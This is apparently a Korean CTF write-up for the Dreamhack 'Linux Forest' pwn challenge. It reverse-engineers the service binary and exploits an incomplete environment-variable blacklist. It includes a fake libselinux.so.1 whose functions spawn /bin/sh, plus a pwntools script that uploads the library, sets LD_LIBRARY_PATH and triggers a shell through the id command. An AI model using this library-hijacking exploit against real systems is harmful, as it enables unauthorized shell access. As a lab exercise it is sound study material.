푼 문제

 

문제 개요

64비트 Linux 바이너리 public/main과 환경 구성을 위한 Dockerfile이 주어집니다.

동적으로 링킹되어 있으며 심볼은 없습니다(stripped).

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2/25/2021   1:43 PM                coreutils
d-----         2/25/2021  10:01 AM                private
d-----         2/26/2021   1:01 PM                public
-a----         2/22/2021   5:34 AM            778 Dockerfile

 

docker build 커맨드로 Docker 이미지를 생성할 수 있습니다.

docker build --tag "linux_forest:0.1" .

 

docker run 커맨드로 Docker 컨테이너를 실행할 수 있습니다. 이후 localhost의 7182 포트를 통해 컨테이너에서 서비스되는 main 바이너리에 접속할 수 있습니다.

docker run -dp 7182:7182 linux_forest:0.1

 

nc 커맨드로 바이너리에 접속하면 5개의 메뉴가 존재합니다. 

➜  challenge nc localhost 7182
==== Linux Forest ====
0. Exit
1. Execute a command
2. Manage environments
3. Create a temp directory
4. Write a file to temp directory
==== ------------ ====
>

 

문제 분석

main 함수는 메뉴를 선택하도록 한 후, select_func 함수에서 각 메뉴의 기능을 수행하는 함수 포인터를 얻어와 호출합니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  while ( 1 )
  {
    print_menu();
    choice = read_int64();
    if ( !choice )
      break;
    idx = (unsigned int)(choice - 1);
    func = select_func(idx);
    ((void (__fastcall *)(__int64, const char **))func)(idx, argv);
  }
  return 0;

 

1번 메뉴는 커맨드를 실행시켜 주는데, 여러 가지 조건이 있습니다.

void __fastcall execute_cmd()
{
  ...
  read_string((__int64)string__choice);
  if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(string__choice) == 1 )
  {
    if ( string__compare((__int64)string__choice, (__int64)"p") )// p. ls
    {
      if ( (unsigned __int8)sring__compare((__int64)&string__tmp_dir, (__int64)&nullptr) )
      {
        v3 = std::operator<<<char>(&std::cout, &string__tmp_dir);
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        std::allocator<char>::allocator(&v5);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
          v8,
          "ls -al -- ",
          &v5);
        sub_33F5((__int64)v7, (__int64)v8, (__int64)&string__tmp_dir);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(string__choice, v7);
        ...
      }
    }
    else if ( string__compare((__int64)string__choice, (__int64)"i") )// i. id
    {
      std::allocator<char>::allocator(&v5);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v8, "id", &v5);
      ...
    }
    cmd = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(string__choice);
    c_system(cmd);
  }
  else
  {
    print_error_msg((__int64)"try 'w'.");
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(string__choice);
}

 

사용자에게 문자열을 입력받는데, 16행에서 문자열의 길이가 한 글자여야 함을 확인할 수 있습니다.

"p. ls" 메뉴에서는 p를 입력하면 "ls -al" 커맨드를 실행시켜 주는데, 3번 메뉴에서 생성한 임시 폴더에서 실행합니다. 임시 폴더가 만들어지지 않았다면 실패합니다. "i. id" 메뉴에서는 "id" 커맨드를 실행시켜 줍니다. 커맨드는 문자열을 조합한 후, c_system 함수 내부에서 라이브러리 함수 system을 통해 실행합니다. 

 

2번 메뉴는 환경 변수를 확인하거나 설정할 수 있도록 합니다.

void __fastcall managa_env()
{
  ...
  choice = read_int64();
  if ( choice == 1 || choice == 2 )
  {
    if ( choice == 1 )                          // 1. get
    {
      read_string((__int64)string__name);
      name = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(string__name);
      v1 = getenv(name);
      ...
    }
    else                                        // 2. set
    {
      read_string((__int64)_name);
      if ( (unsigned __int8)check1(_name, &unk_9080) || (unsigned __int8)check2(_name) != 1 )// check1(_name, "PATH")
                                                // check2 allows only alphabets and '-', '_'
      {
        string__concat(string__name, _name, " is a banned keyword.");
        print_error_msg2(string__name);
      }
      else
      {
        read_string((__int64)string__name);
        v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(string__name);
        v5 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(_name);
        setenv(v5, v4, 1);
        ...

 

"1. get" 메뉴에서는 환경 변수의 이름을 입력받아 getenv 함수로 확인합니다. "2. set" 메뉴에서는 환경 변수의 이름과 값을 연속하여 입력받고 setenv 함수로 갱신합니다. 그런데 check1 함수와 check2 함수에서 환경 변수의 이름에 대한 필터링을 하고 있습니다.

 

check1 함수를 보면 &unk_9080과 비교를 하고 있는데, &unk_9080을 디버거에서 확인하면 std::vector (STL 벡터)임을 짐작할 수 있습니다. (std::vector는 시작 주소, 끝 주소, 현재 마지막 원소의 끝 주소를 가리키는 3개의 포인터를 멤버로 갖고 있습니다)

pwndbg> x/10gx 0x555555554000+0x9080
0x55555555d080: 0x000055555556fe70      0x000055555556feb0
0x55555555d090: 0x000055555556feb0      0x0000000000000000

 

벡터의 시작 주소부터 끝 주소까지 디버거에서 확인하면, 두 개의 std::string을 원소로 갖고 있음을 짐작할 수 있습니다. 즉, &unk_9080은 std::vector<std::string> 타입의 벡터인 것입니다. (std::string은 문자열의 시작 주소와 길이를 멤버로 갖고 있고, 길이가 16 이하인 경우 뒤따르는 16바이트 공간에 저장합니다)

pwndbg> x/8gx 0x000055555556fe70
0x55555556fe70: 0x000055555556fe80      0x0000000000000004
0x55555556fe80: 0x0000000048544150      0x0000000000000000
0x55555556fe90: 0x000055555556fea0      0x000000000000000a
0x55555556fea0: 0x4f4c4552505f444c      0x0000000000004441

 

두 std::string에 저장된 문자열을 확인하면 각각 "PATH"와 "LD_PRELOAD"입니다. 따라서 manage_env 함수는 check1 함수를 통해 벡터를 순회하며 입력받은 문자열이 "PATH"나 "LD_PRELOAD"와 일치하는지 확인하고, 일치하는 경우 실패하도록 함을 짐작할 수 있습니다. 

pwndbg> x/s 0x000055555556fe80
0x55555556fe80: "PATH"
pwndbg> x/s 0x000055555556fea0
0x55555556fea0: "LD_PRELOAD"

 

참고로 환경 변수 PATH의 값으로 특정 경로를 등록할 경우 해당 경로의 어떠한 프로그램이라도 자유롭게 실행 가능합니다. 또한 LD_PRELOAD의 값으로 특정 공유 라이브러리를 등록할 경우 프로그램 실행 시 해당 라이브러리를 같이 로드합니다. 따라서 이들 환경 변수의 값을 임의로 변조할 수 없도록 하는 것이 의도였을 것으로 추측됩니다. 

 

3번 메뉴는 /tmp/dreamhack.XXXXXX (정수 6자리) 경로의 임시 폴더를 mkdtemp 라이브러리 함수를 통해 생성합니다.

void __fastcall create_tmp_dir()
{
  ...
  v6 = __readfsqword(0x28u);
  strcpy(templatea, "/tmp/dreamhack.XXXXXX");
  std::allocator<char>::allocator(&v3);
  v0 = mkdtemp(templatea);

 

4번 메뉴는 임시 폴더에 파일을 생성할 수 있도록 합니다.

unsigned __int64 write_file()
{
  ...
  v10 = __readfsqword(0x28u);
  if ( string__compare((__int64)&string__tmp_dir, (__int64)&nullptr) )
  {
    print_error_msg((__int64)"You must create a temp directory first.");
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "File name: ");
    read_string((__int64)string__filename);
    if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::find(string__filename, "..", 0LL) != -1
      || std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::find(string__filename, "/", 0LL) != -1 )
    {
      print_error_msg((__int64)"Bad characters in the file name.");
    }
    else
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "File data (base64 encoded): ");
      read_string((__int64)string__base64_filedata);
      if ( (unsigned __int64)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(string__base64_filedata) <= 0x30D40 )
      {
        sub_4753((__int64)v4, (__int64)string__base64_filedata);
        std::ofstream::basic_ofstream(v9);
        ...
        std::ostream::write((std::ostream *)v9, v2, v1);
        ...
      }
      else
      {
        print_error_msg((__int64)"Too long..");
      }

 

3번 메뉴에서 임시 폴더를 생성하지 않은 경우 실패하며, 임시 폴더가 존재하는 경우 파일명과 파일 데이터를 연속하여 입력받습니다. 파일 데이터는 Base64로 인코딩한 내용을 입력받으며, 내부 함수를 통해 디코딩한 후 저장합니다. 이 때 인코딩한 데이터의 길이가 200,000 바이트를 넘기는 경우 "Too long.." 에러 메시지와 함께 실패합니다.

 

문제 풀이

일반적으로 Linux 시스템에서는 일반 사용자도 환경 변수의 값을 임의로 지정할 수 있습니다. 따라서 환경 변수들의 다양한 용례는 Set-UID가 설정된 프로그램들을 공격하기 위한 공격 표면으로 사용되었습니다. 다음 강의노트에서 환경 변수를 이용한 공격에 대해 자세히 알아볼 수 있습니다.

Environment Variables & Attacks | CSP 544 (Illinois Institute of Technology (IIT))
www.hale-legacy.com/class/security/s20/handout/slides-env-vars.pdf

 

환경 변수 중 LD_LIBRARY_PATH는 동적 링커(dynamic linker)가 바이너리를 로드할 때 링크할 라이브러리를 찾는 경로입니다. (강의노트 19p) 문제 바이너리는 id, w 등 다른 커맨드 바이너리를 system 함수로 실행하는 기능을 갖고 있는데, LD_LIBRARY 값을 변조하면 이들 커맨드 바이너리가 의존하는 라이브러리들의 링킹 과정에 개입하여 엉뚱한 라이브러리를 로드하도록 할 수 있습니다. 

 

여기서는 id 커맨드를 타깃으로 합니다. 먼저 ldd 커맨드를 통해 id 바이너리가 의존하는 공유 라이브러리들을 확인할 수 있습니다.

➜  linux_forest ldd /usr/bin/id
        linux-vdso.so.1 (0x00007ffffdfeb000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f2a4d131000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2a4cd40000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f2a4cace000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2a4c8ca000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f2a4d564000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f2a4c6ab000)

 

다음으로 id 바이너리의 소스 코드를 확인하여 바꿔치기할 라이브러리를 결정해야 합니다. dpkg 커맨드로 id 바이너리가 coreutils 패키지의 일부임을 확인할 수 있습니다.

➜  linux_forest dpkg -S /usr/bin/id
coreutils: /usr/bin/id

 

coreutils 패키지의 소스 코드는 GNU 프로젝트에서 공개하여 제공하고 있습니다.

Coreutils - GNU core utilities | GNU Operating System
www.gnu.org/software/coreutils/
git clone git://git.sv.gnu.org/coreutils

 

내려받은 저장소 폴더에서 src/id.c 파일을 통해 id 바이너리의 소스 코드를 확인할 수 있습니다. 소스 코드 상단을 보면 selinux/selinux.h 헤더를 포함하고 있습니다. main 함수를 보면 is_selinux_enabled와 getcon 함수를 호출하고 있는데, 이들은 SELinux 라이브러리(libselinux.so.1)에서 제공하는 함수들입니다.

#include <selinux/selinux.h>
...
int
main (int argc, char **argv)
{
  int optc;
  int selinux_enabled = (is_selinux_enabled () > 0);
  ...
  if (n_ids == 0
      && (just_context
          || (default_format && ! getenv ("POSIXLY_CORRECT"))))
    {
      /* Report failure only if --context (-Z) was explicitly requested.  */
      if ((selinux_enabled && getcon (&context) && just_context)
is_selinux_enabled(3) | Linux manual page
man7.org/linux/man-pages/man3/is_selinux_enabled.3.html
getcon(3): SELinux security context of process | Linux man page
linux.die.net/man/3/getcon

 

따라서 is_selinux_enabled 함수와 getcon 함수가 셸을 실행하는 가짜 libselinux.so.1 라이브러리 파일을 작성한 후, LD_LIBRARY_PATH 환경 변수를 변조하여 가짜 라이브러리가 원본보다 먼저 로드되도록 하면 id 커맨드를 실행할 때 셸이 실행되도록 할 수 있습니다.

 

다음과 같이 C언어 소스 코드를 작성한 후, gcc에 -fPIC와 -shared 옵션을 주어 공유 라이브러리로 컴파일합니다.

// gcc -o libselinux.so.1 libc.c -fPIC -shared
#include <stdlib.h>

void getcon() {
        execve("/bin/sh", NULL, NULL);
}
void is_selinux_enabled() {
        execve("/bin/sh", NULL, NULL);
}

 

컴파일된 라이브러리 파일의 내용물을 base64 셸 커맨드를 통해 Base64로 인코딩할 수 있습니다.

➜  linux_forest base64 libselinux.so.1
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYAUAAAAAAABAAAAAAAAAAAgYAAAAAAAAAAAAAEAAOAAH
AEAAHAAbAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVAcAAAAAAABUBwAAAAAAAAAA
IAAAAAAAAQAAAAYAAAAQDgAAAAAAABAOIAAAAAAAEA4gAAAAAAAYAgAAAAAAACACAAAAAAAAAAAg
...

 

이제 바이너리에 접속하여 임시 폴더를 만든 후 가짜 libselinux.so.1 파일을 저장하고, 임시 폴더 경로를 LD_LIBRARY_PATH 환경 변수의 값으로 설정합니다. 이후 1번 메뉴에서 id 커맨드를 실행하면 가짜 라이브러리의 is_selinux_enabled 함수가 대신 호출되어 셸을 획득할 수 있습니다. 이를 익스플로잇 코드로 작성하면 다음과 같습니다.

#!/usr/bin/python
from pwn import *

# r = remote('host2.dreamhack.games', 9473)
r = remote('localhost', 7182)
context.log_level = 'debug'

def main():
    r.sendlineafter('>', '3')
    r.recvuntil('Your personal directory is:')
    dirname = r.recvline().strip()
    print('[+] dirname: ' + dirname)

    r.sendlineafter('>', '4')
    r.sendlineafter(':', 'libselinux.so.1')
    r.sendlineafter(':', 'f0VMRgIBAQAAAAAAAAAAAA...')   # Base64
    r.sendlineafter('>', '2')
    r.sendlineafter('>', '2')
    r.sendline('LD_LIBRARY_PATH')
    pause()
    r.sendline(dirname)

    r.sendlineafter('>', '1')
    r.sendlineafter('id\n', 'i')

    r.interactive()

if __name__ == '__main__':
    main()
➜  linux_forest ./ex.py
[+] Opening connection to localhost on port 7182: Done
[+] dirname: /tmp/dreamhack.Pf1QRQ
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(linux_forest) gid=1000(linux_forest) groups=1000(linux_forest)

'CTF > Pwn' 카테고리의 다른 글

[DarkCON 2021] Warmup  (0) 2021.02.22
[DarkCON 2021] Easy-ROP  (0) 2021.02.22